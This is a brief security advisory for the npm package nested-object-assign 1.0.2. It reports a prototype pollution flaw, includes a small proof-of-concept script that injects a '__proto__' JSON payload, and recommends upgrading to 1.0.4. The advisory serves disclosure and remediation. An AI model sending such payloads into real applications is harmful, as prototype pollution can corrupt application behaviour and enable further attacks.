nested-object-assign@1.0.2 vulnerabilities

nested-object-assign is a Package to support nested merging of objects & properties, using Object.Assign

Affected versions of this package are vulnerable to Prototype Pollution via the default function, as demonstrated by running the PoC below.

PoC

// poc.js
const assign = require('nested-object-assign')

console.log('Before: ' + {}.polluted)
assign({}, JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ' + {}.polluted)

Upgrade nested-object-assign to version 1.0.4 or higher.